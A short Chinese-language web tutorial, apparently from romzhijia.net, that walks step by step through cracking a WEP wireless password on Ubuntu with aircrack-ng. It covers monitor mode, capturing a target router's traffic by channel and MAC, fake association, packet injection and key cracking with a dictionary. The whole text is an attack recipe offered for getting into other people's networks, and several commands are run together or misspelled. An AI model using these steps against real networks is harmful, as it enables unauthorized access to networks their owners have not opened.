ROM之家romzhijia.netromzhijia.net教你如何破解无线密码。用的是ubuntu系统，没用linux系统的至少要在WIN里面安装ubuntu。1、安装aircrack-ng在终端中输入 sudo apt-getinstall aircrack-ng
2 、启动无线网卡的监控模式，在终端中输入：sudo airmon-ngstart wlan0
3 、看看有哪些无线路由在工作，在终端中输入：sudo airodump-ngmon0
然后按 ctrl+c 退出，保留终端。
4 、抓包，另开一个终端，输入：sudo airodump-ng -c 6--bssid 11:22:33:44:55:66 -w wep mon0
（-c 后面跟着的6是要破解的路由器的工作频道，--bissid后面跟着的11:22:33:44:55:66是欲破解无线路由的MAC地址，-w后面跟着的是抓下来的数据包的文件名，在步骤2可以查看正在工作的无线路由的频道和MAC地址，保存的文件名可随便命名）
5 、注入破解的话要与目标路由器建立虚拟连接，再另开一个终端，输入：
sudo aireplay-ng -1 0 -a 11:22:33:44:55:66 -haa:bb:cc:dd:ee:ff mon0
（-h后面跟着的aa:bb:cc:dd:ee:ff 是自己的无线网卡的MAC地址），如果不知道可以在终端输入ifconfig 查看。
6 、成功建立虚拟连接后输入：
sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b11:22:33:44:55:66 -h aa:bb:cc:dd:ee:ff mon0
进行注入，注入破解是为了加快抓包的速度。
7 、收集15000（用Bt4破解时的收集数据的个数）个以上的数据之后，另开一个
终端，输入：sudo aircrack-ng wep*.cap ，进行解密。注意这里命令的文件名要和步骤4一致。
Please specify a dictionary （option -w）。这是提示找不到字典
再输入aircrack-ng –w 字典 wep-01.cap开始破解
8、破解出密码后在终端中输入 sudo airmon-ng stopmon0 关闭监控模式，不然无线网卡会一直向刚刚的无线路由进行注入
注意aircrack-ng里不带字典，需要将bt6里的字典或者自己生成的字典放到ubuntu的主文件夹中格式为xxx.txt
